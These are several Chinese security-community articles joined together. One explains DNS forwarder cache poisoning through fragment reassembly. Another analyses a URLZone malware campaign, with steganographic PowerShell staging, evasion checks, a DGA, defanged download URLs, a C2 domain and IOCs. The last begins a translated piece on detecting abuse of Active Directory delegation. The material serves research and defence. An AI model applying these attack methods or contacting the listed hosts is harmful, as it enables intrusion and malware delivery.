通过伪造DNS响应包来攻击的最知名的案例是2008年的Kaminsky攻击，它影响了几乎所有的DNS软件和设备。
前面说到DNS解析器会根据查询数据包中的几个字段对响应包进行匹配，会话标识对不上的、端口对不上的都会被DNS解析器抛弃，所以攻击主要存在几个难点：
> 1 .
> 首先，攻击者需要知道UDP报文中的源端口号才能构造响应包中的端口号。虽然攻击者不能窃听，但是在Kaminsky攻击之前，DNS报文中的大多数源端口都不是采用随机化的方式分配的，通常一些DNS解析器会直接采用53作为源端口号，或是操作系统中的一个固定值。
> 2 . 除了端口号之外，DNS响应报文中的其他字段也需要和DNS请求包能够对应，否则就会被DNS解析器抛弃。
针对这种攻击目前的缓解措施主要有：
> 1 . ID/端口随机化，使用随机短暂的端口号和会话标识。
> 2 . 0x20
> encoding，即随机化大小写验证技术，该技术会匹配请求包和响应包的大小写，如果大小写不匹配就会丢弃响应包。比如对于长度为8个字符串的域名，那么就会产生2^8个不同的字符串，但是这种方式也有一定的局限性，因为一些授权DNS服务器并不支持大小写混合应答。
### 3.2 分片整理攻击
最近的研究又发现了一种基于IP分片整理（Defragmentation
Attacks）的新型DNS缓存投毒攻击方法。这种攻击主要利用了这样一个事实，即被分片的DNS响应包中的第二个分片段并不包含DNS或UDP报文中的报头（header）或是问题部分（question
section），所以这种攻击方式可以避开针对伪造攻击的防御措施，如ID/端口随机化措施。
简要的攻击流程如下图所示：
首先，攻击者构造虚假的第2个分片(2nd fragment)，将这个不完整的第2个分片数据包发送给递归解析器，递归解析器缓存该记录。
然后攻击者发起关于受害domain的DNS查询请求，递归解析器的记录中没有相关记录，所以会再去询问权威解析器。
从权威解析器返回的数据包因为某些不可抗力因素被分片转发给递归解析器。然后在递归解析器这里，从权威解析器发出的第一个合法的分片数据包和之前缓存在递归解析器的第2个攻击者伪造的分片数据包重新组装，最后形成一个能被递归解析器接受的“合法”响应包。并且该响应被递归解析器缓存下来。
上述攻击的关键步骤就是在第2步中的权威解析器必须以分片的方式向递归解析器发送响应包。主要有两种方式：
> 1 .降低PMTU数值
> 2 .
> 发送DNSSEC查询，用DNSSEC记录填充DNS响应数据包，使它们达到MTU的限制，从而迫使数据包通过分片的方式转发。DNSSEC（Domain
> Name System Security
> Extensions）是DNS安全扩展机制，是由IETF提供的一系列DNS安全认证机制，它提供一种来源鉴定和数据完整性扩展。DNSSEC依靠数字签名来保证DNS应答报文的真实性和完整性。DNSSEC服务器对DNS解析器的应答，采用DNSSEC的签名方式，然后DNS解析器使用签名来验证DNS响应，确保记录未被篡改。
这种攻击方式也存在一些限制，PMTU-based碎片整理攻击需要攻击者先伪造一个发送给权威域名解析器的ICMP包，来欺骗权威域名解析器去降低PMTU数值。但是作者发现这在大多数情况下不太适用。如下图所示，对于Alexa网站上排名前100K的权威域名服务器，在构造这样的ICMP数据包之后，只有0.7%的权威域名服务器将它们的PMTU值降低到528bytes之下。
**由于DNS响应数据包通常小于512字节，因此它们不太可能被强制分片** 。
## 4 DNS Forwarder
传统上，DNS解析过程涉及DNS客户端（或存根解析器）、递归解析器和权威服务器。当一个域名在客户端找不到记录，那就需要向递归解析器发起查询请求，递归解析器就会向权威域名解析器咨询答案。相较于这个最简单的模型，DNS解析设施变得越来越复杂了，通常涉及多层服务器，其中一种新的DNS基础设被就是DNS
Forwarder，它们位于存根解析器和递归解析器之间，通常充当DNS客户端的入口服务器：
当DNS Forwarder接收到查询请求时，它不递归地执行解析，而只是将查询转发到上游的递归解析器。比如家庭路由器就具备DNS转发的功能。
相比于Recursive Resolver，DNS
Forwarder的运行机制就没那么复杂，它无需对DNS客户端的查询请求进行递归解析，只是起转发的作用；而且其在安全性上依赖于上游的递归解析器，不会对response进行检查，这也是DNS
Forwarder的一个关键弱点，这个特性使得针对DNS Forwarder的缓存投毒攻击成为可能。
## 5 针对DNS Forwarder的分片整理攻击
前面介绍的分片整理攻击是针对DNS递归解析器的，因为DNS Forwarder中不会对数据包进行安全性校验的特性，作者在论文中提出了一种针对DNS
Forwarder的分片整理攻击方法。
### 5.1 攻击模型概述
**攻击模型** 研究表明目前有大量运行在住宅网络设备上的DNS Forwarder，比如家庭路由器。 因此，在威胁模型中，作者假设攻击者位于与DNS
相同的局域网中，并且可以发出DNS查询。这种攻击场景可以出现在公开的Wi-Fi网络中，比如在咖啡馆或是机场这些公开场所中。
在攻击之前，需要先回答一个问题：我们能够可靠和确定地使响应数据包分片吗？
事实证明，
如果查询被发送到攻击者控制下的权威域名服务器，然后使被控制的权威域名服务器发送超大的响应包，就可以使响应数据包分片。乍一看，这是毫无意义的，因为控制了权威域名服务器就意味着权威域名服务器上托管的域也已经属于攻击者了。攻击者向被自己控制的域进行缓存投毒是毫无意义的。但是这篇文章的insight是，DNS
Forwarder是不会进行响应包的安全校验的，它对响应包的安全性判断完全依赖于它上游的递归解析器。
**攻击流程** 下图是论文中涉及的针对DNS Forwarder的缓存投毒攻击流程图。
第一步，首先需要探测IPID（IP标识，是IP数据包头中的一个16位的字段，用于确定分片属于哪个数据报），IPID如何预测这在后面会提到，也是成功攻击的关键之一。
然后，构造响应数据包的第2个分片，包含一条伪造的A记录，将IP地址指向攻击者控制的恶意IP地址，该不完整的数据包在DNS Forwarder这里被缓存。
接着，攻击者发起DNS查询请求，查询a.attaker.com的IP地址，DNS
Forwarder将该查询转发给递归解析器，递归解析器本地缓存中不存在对该域名的记录，所以向权威域名解析器发起查询请求。
最后，权威域名解析器返回响应数据包给递归解析器，因为权威域名解析器是被攻击者控制的，所以在生成响应包的时候，向里面填入很多条CNAME记录，将响应数据包填充得很大（3a.），该数据包被返回给递归解析器，该响应数据包是能够通过递归解析器的安全性校验的，递归解析器再将该response响应转发给DNS
Forwarder，因为数据包很大，所以会被分片转发（3b.），当第一片合法的分片数据包到达DNS
Forwarder的时候，会和之前构造的2nd分片（缓存在DNS
Forwarder中）重新组合成完成的数据包，这里能够重新组装是因为2nd分片中的IPID是预测过的，能和第一个合法的分片匹配上。因为DNS
Forwarder不会对数据包进行检查，所以会直接将这个结果转发给DNS客户端（3c.）。这就是完整的攻击流程。
可以看到和DNS伪造攻击不同，分片整理攻击不再需要对DNS会话标识和端口号等metadata信息进行构造了，因为在2nd分片中并不包含这些信息了，这些信息仅存在于第一个分片包中
。
### 5.2 DNS响应分片
上面的攻击流程中已经知道，使递归解析器转发给DNS
Forwarder的响应数据包成功分片是成功攻击的关键点之一。此前已经介绍过了，之前的研究主要有两种方式来迫使DNS响应包分片：一、通过降低PMTU值；二、用DNSSEC来填充响应包。但是这两种方式都不太可取。
本文采取的方案和用DNSSEC填充是类似的，利用CNAME记录来填充DNS响应数据包。
攻击者控制的权威域名服务器可以有意地创建大于以太网MTU值的超大DNS响应数据包，那么递归解析器收到相应包再将其转发给DNS
Forwarder的时候，会对其进行分片操作。
具体的方法就是构造CNAME记录链（CNAME records chain），最后跟一个最终的A记录。
在伪造的2nd分片中，将最后的一条CNAME记录指向victim.com，然后最后跟一条关于victim.com的A记录，指向恶意IP地址a.t.k.r。
对于上游的递归解析器来说，它们看到的是来自权威域名解析器的超大dns响应包，经过校验并不违反bailiwick规则，所以递归解析器就将这个超大响应包以分片的方式转发给DNS
Forwarder了。
使用这种超大DNS数据包响应需要攻击场景中的所有DNS服务器都支持 **DNS扩展名机制（Extension Mechanisms for
DNS(EDNS(0))）**
。EDNS被提出来的理由之一是，当初DNS协议中设计的用UDP包传输时，将包的大小限制在512字节，但是现在很多的主机已经具备重组大数据包的能力，所以需要一种机制能够允许DNS请求方通知DNS服务器让其返回大数据包。在DNS数据包头部中添加了一个OPT字段来标记该数据包是否携带EDNS选项。
### 5.3 构造恶意分片
如果DNS数据包被分片，则只有第一个片段将具有UDP报头和DNS报头。因此，要构造第2个恶意的分片，攻击者就不需要再预测DNS和UDP报头中的端口号和会话标识（Transaction
ID）等metadata信息了。然而，为了成功地碎片整理，攻击者还需要构造IP
header中的Identification字段信息（后面简称为IPID），这样才能够在第1个合法的数据包分片到达DNS
Forwarder的时候和构造的2nd分片成功组合，因为IP数据包分片要有相同的IPID才能够重新组装。因此，攻击者还需要预测上游的递归解析器的IPID分配。
目前一共有3种IPID分配算法：
1. **全局IPID计数器**
全局IPID计数器就是为每个数据包增加一个计数单位1，这是非常容易预测的。
2. **基于哈希的IPID计数器**
想象现在有个IPID计数器数组，基于哈希的IPID计数器首先利用数据包的源ip地址和目的ip地址映射到IPID计数器数组中的某个counter，比如为A，然后将两次使用同一个counter
A的系统时间间隔记为X，然后在1到X之间选一个随机数R加到A上，IPID就变为了A+R。只要发送的两次数据包即Current IPID和Predicted
IPID时间够近，那么成功预测的概率很大，而且因为DNS
Forwarder一次可以缓存64个分片，所以攻击者可以在很短的时间内发送多个构造的分片来提高成功率。
3. **随机IPID分配**
随机性变大，比较难预测。
### 5.4 攻击条件总结
根据前文中的攻击模型可知，成功的攻击条件有：
**EDNS(0) support**
EDNS(0)机制允许通过UDP传输比较大的DNS数据包，从而允许传输大于512字节的DNS消息来迫使数据包通过分片的方式从递归解析器传送到DNS
Forwarder。
**No truncation DNS response**
尽管一些DNS
Forwarder支持EDNS(0)机制，但是部分Forwarder还会截断大DNS响应数据包，即使一些响应数据包没有达到以太网MTU的最大值。在这种情况下，被截断的DNS响应数据包是不会被分片的，那么碎片整理攻击自然就会失败了。这里要明确的是，IP数据包截断（truncation）和分片（fragmentation）是不同的操作，如果数据包被截断之后，会被标记为是一个已截断的数据包，多余的部分会被丢弃，然后再将其转发到目的地。
**No verification of DNS response**
在DNS Forwarder中不能存在对DNS响应的验证，攻击原理的核心就是DNS Forwarder对数据包的验证完全来自上游的Recursive
Resolver。
**DNS caching by record**
在DNS
Forwarder中，有两种方式来缓存DNS响应结果，一种是将DNS响应作为整体缓存下来，即整个DNS响应作为一条缓存记录；另一种方式是以记录的方式缓存结果。举个例子，如下图的DNS响应：
如果将DNS响应作为整体缓存下来，那么最后只有一条关于a.attacker.com的记录，对于我们的目标victim.com则完全不会被命中。反之，如果是以record的形式被缓存，那么当用户查询victim.com的时候，就会命中DNS
Forwarder的缓存。
## 6 对问题的反思
那纠其原因，是什么导致的DNS Forwarder中的弱点呢？实际上，工业界并没有对DNS
Forwarder应该在DNS生态系统中发挥的作用达成一致的意见。DNS
Forwarder可以充当透明的DNS代理工具，也可以发挥一些递归解析器所具备的功能。但是，供应商并没有对DNS
Forwarder的一些功能实现达成一致，比如DNS
Forwarder是否应该具备缓存功能，是否应该对分片的数据包进行处理，以及是否能够自己发起请求来检查请求，比如说可以通过这种方式来验证CNAME链的合法性。
### 6.1 DNS Forwarder规范
在查阅了DNS RFC标准文档之后，作者发现了不同的供应商对于DNS
Forwarder有多种不同的功能实现可能是由于规范中模糊不清的定义导致的。在最开始的DNS标准文档（RFC 1034）中，是不存在DNS
Forwarder的，但随着DNS Forwarder越来越流行，目前依旧缺少对于DNS Forwarder的清晰明确的规范。
查阅RFC文档，作者发现，甚至连标准文档都对DNS Forwarder有不同的定义，他们从7条RFC标准中找到了对DNS Forwarder不同的定义。
### 6.2 缓解措施
在前面介绍攻击原理的时候已经介绍过攻击的4个先决条件了，所以可以认为只要破坏其中的任意一个条件就可以组织攻击的产生，但是事实上，阻止DNS
Forwarder进行缓存或是禁止ENDS(0)机制都是不可行的，因为这些缓解措施会损害DNS Forwarder中的一些重要的新特性新功能。
所以防御措施只能从另外两个先决条件或是攻击准备条件上入手，比如预测IPID。
## 7 小结
该研究团队在一些家用路由器和一些路由软件上进行测试，证实了DNS forwarder上确实存在这样的缺陷。
该研究团队后来又对DNS缓存投毒进行更加深入地挖掘，紧随其后一篇发在CCS2020的文章 **DNS Cache Poisoning Attack
Reloaded: Revolutions with Side Channels** 中又提出了一种侧信道攻击方法，能够对随机化的source
port进行derandomize，从而成功预测分片，也是很值得一读的文章。 | 社区文章 |
# URLZone：疑似针对日本高科技企业雇员的攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近期，360威胁情报中心捕获到多个专门针对日本地区计算机用户进行攻击的诱饵文档，文档为携带恶意宏的Office
Excel文件。通过分析相关鱼叉邮件的收件人信息，我们发现受害者均为日本高科技企业雇员。从攻击的定向性、受害者分布及过往相关背景信息来看，攻击者主要目的是为敛财，同时也不排除其有窃取商业机密和知识产权的可能性。
诱饵文档内的恶意宏代码及后续的PowerShell脚本会调用多个与系统语言区域相关的函数，并依赖于函数的返回值解密后续代码，从而实现专门针对日文系统使用者的精确投递。比如通过判断货币格式化后的长度、使用本机的LCID[1]（Language
Code
Identifier）作为异或解密的密钥等方式来区分是否为日本地区的计算机。攻击者最终通过图片隐写技术下载并执行URLZone[2]，并在随后的代码中进一步检测运行环境，以避免在沙盒、虚拟机以及分析机上暴露出恶意行为。
## 攻击邮件
360威胁情报中心在进行关联分析后，找到了十余封相关的邮件，针对佳能、藤田医科大学、土屋工业公司、Fujikin等公司和机构的雇员。与以往的攻击类似[3]，邮件内容由日文组成，并通过伪造来自日本的发件人以增加被打开的概率。
邮件正文内容并不具有针对性：
## 样本分析
### VBA Macro
文件名 | 67874_2019年2月18.xls
---|---
MD5 | b158d69db6ef7110ef4308f4b0749e0f
文档作者 | ユーザー
捕获到的该诱饵文档是一个Office Excel文件，其内嵌VBA宏。打开该文件会展示含有日文的图片来诱使目标启用宏，其内容如下：
当受害者启用宏后，将自动执行恶意宏代码。我们在分析过程中提取的宏代码如下图所示：
宏代码在Workbook_Open函数一开始就对运行环境进行了检测与过滤，当Select_t的长度与msoContactCardTypeUnknownContact不一致时就执行退出操作：
msoContactCardTypeUnknownContact是一个Office内置的常量，在MSDN文档中[4]其值定义为2：
因此为了保证后续代码的执行，Select_t的长度也应该是2，而该变量的值与货币类型相关：
在日文操作系统中，将0格式化为货币后是“¥0”，故其长度值满足判断要求。然而在其它类型操作系统中，其结果的长度值很可能不满足要求。比如在中文操作系统下，格式化后的值是“¥0.00”，因此程序到此就退出结束了。
接下来的代码会解密一串CMD命令，而其解密方法中也会使用到上述代码。这会造成在很多非日文系统环境下解密数据不完整，从而影响后续执行：
正确解密后，最终将执行一系列CMD命令，把PowerShell代码写入环境变量ladnI以及相关的启动代码写入Zgo环境变量，并随后执行：
### Downloader（PowerShell Scripts）
PowerShell的执行分两个阶段。首先执行VBA宏所解密出来的PowerShell脚本，从硬编码的URL地址下载PNG图片，随后提取隐藏的数据，进行解密、解压缩后得到第二阶段的PowerShell脚本。第二阶段的PowerShell脚本使用类似的方式获得URLZone恶意程序，并通过反射加载的方式在内存中直接运行。PowerShell脚本在执行过程中采用多种手段获取语言区域相关的常量值，并将结果与解密关联起来，从而使其只能在日文操作系统中正确运行。
**阶段1** **：**
VBA宏解密后得到的是经过混淆的PowerShell脚本，对关键代码去混淆后的程序逻辑将变得更加清晰，部分处理后的代码如下图所示：
脚本首先会加载一个Base64编码的PE程序（MD5：61120c989de3d759c1a136ffd91e59d2）到内存。该PE程序用于获取Windows的语言信息，反编译后的代码如下图所示：
PowerShell脚本通过调用PE程序的DezA方法，得到当前系统的语言代码（简体中文系统是CHS，英语是ENU，日文是JPN），该语言代码随后将被用于生成AES解密的密钥。
随后脚本尝试从硬编码的URL下载PNG图片文件：
[hxxp://imagehosting.biz/images/2019/02/14/in1.png](http://imagehosting.biz/images/2019/02/14/in1.png)
hxxp://images2.imagebam.com/f1/b1/50/dd7e561126561184.png
[hxxps://mger.co/img/w84vm.png](https://mger.co/img/w84vm.png)
[hxxps://images2.imgbox.com/34/60/1Zc8BevK_o.png](https://images2.imgbox.com/34/60/1Zc8BevK_o.png)
下载的图片如下所示：
由于大部分图片像素RGB中绿色（G）和蓝色（B）的低4位被用于存储加密压缩后的信息，这些值的改变对图片空白区域外观的影响更为明显：
脚本从图片前360×291像素矩阵中，依次提取每个像素绿色（G）和蓝色（B）的低4位，并分别作为高4位和低4位形成一个字节。接下来取前104644字节大小的数据，附加到字符串“4B2T”后得到最终的待解密数据。
CrowdStrike分析文章中[5]提到的相关Python代码经修改后便可用于提取该图片中的隐藏数据：
待解密数据经过Base64解码、AES解密和gzip解压缩三步处理后，将得到编码后的第二层PowerShell脚本。AES在解密时，将使用之前获得的系统的语言代码（JPN）和Base64解码后的前32字节生成解密密钥，用于解密偏移52字节以后的数据。解密后的第一个字节将与0x1F（gzip首字节数据）做比较，相同时才对其进行解压缩操作。因此，在非日文操作系统上直接运行该脚本，是无法正确地解密和解压缩数据的，因此也就无法执行第二阶段的PowerShell脚本。相关代码如下：
**阶段2** **：**
从图片中解出来的PowerShell脚本在运行时首先判断处理器架构，以便兼容x86和x64平台：
接下来会加载另外一段二进制数据到内存，该段数据还原出来后是一个DLL模块（MD5：f0c47667c50cf18c66094094b44627ba），主要用于gzip解压缩：
接下来的大部分代码来自开源项目PowerSploit 中的Invoke-ReflectivePEInjection.ps1模块[6]，主要功能是在内存反射加载${GloBal:MGGG}变量中的数据：
设置该变量的代码也被同样方式混淆，去混淆后的代码如下：
这段代码同样首先尝试从内置的URL地址下载图片：
hxxp://oi68.tinypic.com/2saxhrc.jpg
hxxps://thumbsnap.com/i/aqiAmg1b.png?0214
[hxxps://i.postimg.cc/0jFwGVb3/l1.png](https://i.postimg.cc/0jFwGVb3/l1.png)
下载后的图片如下图所示：
图片中大部分像素RGB中绿色（G）和蓝色（B）的低4位同样被用于存储隐藏信息，方式也与第一阶段的PowerShell脚本一致，只是像素选取和数据长度略有区别。这里提取图片前195×236的像素矩阵中的隐藏信息，以同样的方式进行转换，然后获取转换后数据的前46000字节。随后在尾部附上内置的Base64数据，相关代码如下：
接下来对这段数据进行Base64解码及异或解密，解密的Key与Windows操作系统的LCID[1]（Language Code
Identifier）相关。代码把本机LCID转换为字节数组后，作为Key与Base64解码后的数据进行异或解密：
解密后的数据经过Base64解码后会用gzip进行解压缩，从而得到URLZone（MD5：ddc16b26c2cd6f8d157bed810bf944f4）。解码和解压缩方式与系统的MajorVersion有关，该值为6则直接在PowerShell脚本中进行，否则就调用加载的DLL模块来完成。URLZone最终将被反射加载到内存中执行。
### Payload（URLZone）
文件名 | 内存加载，文件不落地
---|---
MD5 | ddc16b26c2cd6f8d157bed810bf944f4
**主要功能**
URLZone在运行时首先对API进行动态加载，计算API名称校验和的代码如下，其计算方式与APT-28[7]和TelsaCrypt[8]采用的方法一致：
随后对加密的字符串进行两层异或解密，部分解密后的字符串内容如下：
接下来将通过多种方式对运行环境进行检测，以防止被调试以及避免在虚拟机、沙箱和分析人员计算机上运行：
1. 检测处理器类型，从而避免在至强处理器上运行
2. 通过查找模块“SbieDll.dll”来检测沙盒
3. 通过GetTickCount函数计算代码片段运行时间来检测调试器
4. 通过查询注册表来检测VirtualBox虚拟机
5. 调用SetupDi系列函数来检测VMware
6. 检测启动路径是否包含“sample”、“virus”、“sandbox”等字符串，以避免在沙箱或分析人员计算机上运行
7. 调用IsDebuggerPresent来检测调试器
8. 循环调用rdtsc指令来计算程序片段的累计执行时间，确保其结果在期望范围之内，以避免被调试或在模拟器中运行
当所有的运行环境检测通过后，URLZone将以挂起状态启动新的explorer.exe进程，把自身映射到该进程中新创建的区段。随后解密位于RVA
0x92E0处的shellcode，用以覆盖explorer进程的入口代码，以便执行注入后位于RVA 0x8AFC处的代码：
Explorer进程中执行Shellcode转到新的入口代码：
注入代码在执行时会解密位于RVA 0x218C的配置文件，解密后的配置文件中包含硬编码的C2地址：panisdar.com/auth/
接下来将搜集本机信息并做一系列检查，包括操作系统版本、进程权限以及64位环境，修改ACL、写入木马安装时间到注册表，相关代码如下图所示：
搜集的信息会被RSA加密，加密所需的公钥位于RVA地址0x2346，相关值如下：
—–BEGIN PUBLIC KEY—–
BgIAAACkAABSU0ExAAQAAAEAAQBxQGcZ/br3h0ZKC2scS7WJ6Je4pOB5TOvOAe6mkPQ5zSruIlx
kPpr9PLLGfuTEmAqVTBunRk0+ZpvnAXfHbTSYOD/bfmqtaE1pEeci8jjukAZZwCX+rWoh2O0ymX
2v4rLbEqiC7apbg+ughDvLEjkvkx2FBoHU55ALmfldAtPLnA==
—–END PUBLIC KEY—–
随后获取本地IP、键盘布局等信息，并填入URL参数对应字段。调试过程中形成的参数如下：
_tver=1208743166
&vcmd=0&cc=0&hh=00000000&ipcnf=10.0.2.15+&sckport=0&pros=0&keret=04090409;&email=_
接下来通过HTTP
POST请求将数据发送到C2。在调试时该样本未能从C2获得有效数据，因此接下来会进入DGA环节，尝试连接更多的域名。根据已有的公开报道，URLZone会下载执行Cutwail、Ursnif[9]以及Gozi
ISFB[5]。
**DGA**
该样本的DGA算法（RVA：0x625C）与之前分析文章中[10]描述的方法非常相似，同样需要使用当前的C2域名和字符串“qwertyuiopasdfghjklzxcvbnm123945678”来进行新域名的生成。不同的是，这个样本在生成DGA的过程中，还会使用到一个类CRC值，用于异或sum_of_chars：
该值在计算时会用到CRC查找表，用以计算RSA公钥的类CRC值，相关Python代码如下：
该值计算出来后，已有的DGA Python代码[10]只需要作少量改动便可用于生成此样本对应的域名：
## 总结
URLZone从2015年底就开始发起针对日本用户的攻击[3]，不过之前只是在邮件及附件内容中采用日语，且冒充邮件来自日本的用户。360威胁情报中心捕获的这轮攻击中不仅保留了其初始手法，攻击者还在诱饵文档相关的宏代码和PowerShell脚本中采用了多种手段，让其仅能在日文系统中正常运行：
1. 判断货币格式化后的长度，同时用该值计算待解密数据的起始位置
2. 使用当前系统的语言代码值来生成AES解密密钥
3. 使用本机的LCID（Language Code Identifier）作为异或解密的密钥
此外还采用了图片隐写、DGA、RSA加密等多种手段，来躲避防火墙等安全软件的检测，并以多种方式检测沙盒、虚拟机、调试器等环境，以避免暴露恶意行为。虽然这很可能只是针对用户的网银木马类攻击，但其相关手法也可以被有针对性攻击所采用。
相对于使用Office
0day，利用恶意宏进行攻击需要更多的用户交互以完成攻击。虽然这会降低其攻击的成功率，但仍具有很好的成本优势，因此仍被许多攻击组织大量采用。企业用户应尽可能小心打开来源不明的文档，如有需要可通过打开Office
Word文档中的：文件-选项-信任中心-信任中心设置-宏设置，来禁用一切宏代码执行。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此类攻击的精确检测。
## IOC
**MD5 (Email)**
---
165587b4de646744fd685fdccad483aa
83599a1ac098a6139eb2329040da64f0
aa54935d07d2f3f120484095e3a622e9
c9fe46a97f382f5507a137b55aa9a180
d1eb688573524b62eac643184afe14f7
d388b03e657a21251383de725f4602a2
d6aee99594fafd6293cb3dff71e1710a
e7e3581b38de0054d5ec67009b07208a
ec617c9083f6e02cb9ab32a45a3ced3b
f325516686b6096224c0ef66cecb6e28
fef3e566e2bc7a520f423a223970af95
**MD5 (Attachment)**
a9dca658ba431a4123be8aa3f13284bc
b158d69db6ef7110ef4308f4b0749e0f
c909568a2dce7a3214a6f2e131a74f9c
**MD5 (PNG)**
dd7e569e55b7cd8b6b2ed266a8e56f97
5ce3d93453a5af55577da49236ae887d
285d70d4e25d9f68ef165189d8af55e0
**URL**
hxxp://imagehosting.biz/images/2019/02/14/in1.png
hxxp://images2.imagebam.com/f1/b1/50/dd7e561126561184.png
hxxps://mger.co/img/w84vm.png
hxxps://images2.imgbox.com/34/60/1Zc8BevK_o.png
hxxp://oi68.tinypic.com/2saxhrc.jpg
hxxps://thumbsnap.com/i/aqiAmg1b.png?0214
hxxps://i.postimg.cc/0jFwGVb3/l1.png
**CC** **地址**
panisdar.com
## 参考链接
1. <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/63d3d639-7fd2-4afb-abbe-0d5b5551eef8>
2. https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution
3. <https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html>
4. <https://docs.microsoft.com/en-us/previous-versions/office/developer/office-2010/ff861819(v=office.14)>
5. <https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/>
6. <https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1>
7. <https://github.com/Neo23x0/signature-base/blob/master/yara/apt_grizzlybear_uscert.yar>
8. <https://github.com/pan-unit42/public_tools/blob/master/teslacrypt/deobfuscate_api_calls.py>
9. <https://threatvector.cylance.com/en_us/home/threat-spotlight-urlzone-malware-campaigns-targeting-japan.html>
10. <https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/> | 社区文章 |
# 攻击活动目录：无约束委派及域林信任
|
##### 译文声明
本文是翻译文章，文章原作者 Specterops，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在10月份的DerbyCon 2018期间，我的小伙伴们（@tifkin_、@enigma0x3以及@harmj0y）发表了题为“[The
Unintended Risks of Trusting Active
Directory](https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory/)”的精彩演讲，在演讲中他们演示了攻击者如何强制域控制器（DC）向配置了无约束委派（unconstrained
delegation）的服务器发起身份认证请求，捕获并导出域控的TGT（Ticket-Granting
Ticket，票据授予票据），以便模拟DC，执行DCSync之类的攻击来请求任意域用户密码。在演讲中，小伙伴们通过带有多个子域的森林环境来演示这种攻击场景。然而，最近Will拓展了攻击场景，如果目标环境中存在多个外围森林，并且配置了双向信任（two-way trust）选项，Will依然能够成功搞定其他域的DC。我强烈建议大家先阅读一下Will的这篇文章（[Not A Security
Boundary: Breaking Forest Trusts](http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts)），文中从攻击方视角介绍了具体攻击过程，也介绍了如何在实际环境中部署特定配置，以缓解此类攻击。
在本文中，我会简单介绍Will在文章中提到的攻击技术，主要关注的是主机账户强制认证过程中所生成的安全事件。我也会提供一些IOC（indicators of
compromise），这些特征来自于[Rubeus](https://github.com/GhostPack/Rubeus)所生成的Windows安全事件，可以用来监控TGT以及[SpoolSample](https://github.com/leechristensen/SpoolSample)的执行（SpoolSample是[Lee
Christensen](https://twitter.com/tifkin_)开发的一款工具，是现在唯一公开的、能够向无约束服务器发起身份认证的poc代码）。SpoolSample代码中用到了Printer
Server，现在Windows系统中有仍有上百个类似的RPC服务器尚未进行分析。因此，我们不能假设攻击者总会使用RPC Printer
Server来执行此类攻击。此外我们还需要理解一点，这类攻击并不会凭空出现，为了完成攻击任务，在攻击之前、之中以及之后都会涉及到其他事件以及操作。
## 二、攻击简介
Will在文中从攻击方角度详细介绍了攻击过程。作为防御方，我们需要理解攻击者执行的每个步骤，识别潜在的数据来源，以便收集足够多的信息来检测此类攻击活动。Will在文中引用了[一句话](http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts)：“如果攻击者入侵了森林中的某台域控（或者森林中配置无约束委派的任何服务器），那么他就可以通过“打印机bug”来强制外部森林中的域控向攻击者控制的服务器发起身份认证。在各种委派设置的影响下，攻击者可以在已控制的服务器上导出、重新应用并使用外部域控的TGT，最终获取外部森林的凭证数据”。
## 三、攻击中涉及的概念
在开始模拟此类攻击并介绍如何检测攻击行为之前，我们需要理解攻击者的具体操作及背后原因。在本节中，我会引用其他一些参考文章，帮助大家更好理解攻击过程。关于Will[文章](http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts)中介绍的攻击方法，我能想到如下几个要点：
* 无约束委派服务器
* 域林信任（双向信任）
* 用来强制认证的“打印机bug”
### 委派
简单而言，当服务器连接到其他网络资源时，可以利用委派（delegation）机制来模拟客户端。根据微软[官方文档](https://docs.microsoft.com/en-us/windows/desktop/com/delegation-and-impersonation)的描述，微软将委派定义为一种操作，用来授予服务器相关权限，允许服务器以客户端的身份来与环境中其他远程系统交互。服务器以客户端身份与其他服务器交互是非常常见的一种场景。
### Kerberos委派类型
Kerberos有3种委派类型，如下表所示：
### Kerberos无约束委派
根据微软[官方文档](https://msdn.microsoft.com/en-us/library/cc246071.aspx)描述，当用户通过另一个服务（带有无约束委派的前端服务器）请求访问某个服务（后端服务器）时，会经过如下几个步骤：
1、用户将`KRB_AS_REQ`消息发送至KDC（Key Distribution
Centre，密钥分发中心）进行身份认证，请求消息会通过AS（Authentication Service，认证服务）交换，请求可转发的TGT；
2、KDC通过`KRB_AS_REP`消息返回可转发的TGT，响应消息通过AS交换；
3、用户根据步骤2种可转发的TGT，通过`KRB_TGS_REQ`消息请求forwarded TGT；
4、KDC通过`KRB_TGS_REP`消息向用户返回forwarded TGT；
5、用户使用步骤2返回的TGT，通过`KRB_TGS_REQ`消息请求Service 1对应的服务票据（service ticket）；
6、TGS（Ticket Granting Service，票据授予服务）通过`KRB_TGS_REP`消息返回服务票据；
7、用户向Service 1发送`KRB_AP_REQ`消息，展示服务票据、forwarded TGT以及forwarded
TGT对应的会话密钥（session key）；
8、为了满足用户的请求，Service 1需要Service 2以用户身份执行某些操作。Service 1使用用户提供的forwarded
TGT，通过`KRB_TGS_REQ`消息将这个票据发送给KDC，以用户的身份请求Service 2的票据。
配置了无约束委派的服务器不仅可以使用forwarded
TGT来访问网络中其他未请求的服务，如果这是域控TGT，那么也能执行类似DCSync之类的攻击。大家可以阅读[这篇文章](https://msdn.microsoft.com/en-us/library/cc246071.aspx)了解详细信息。大家都知道滥用无约束委派并不是一个新的概念。然而，此时非常有趣也非常糟糕的是攻击者可以在双向信任的外围域林中使用这种技术。此时域林信任再也不是一个安全屏障了。
大家也可以在Will的“[Another Word on
Delegation](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)”这篇文章中了解委派方面更多信息。
### 域林信任
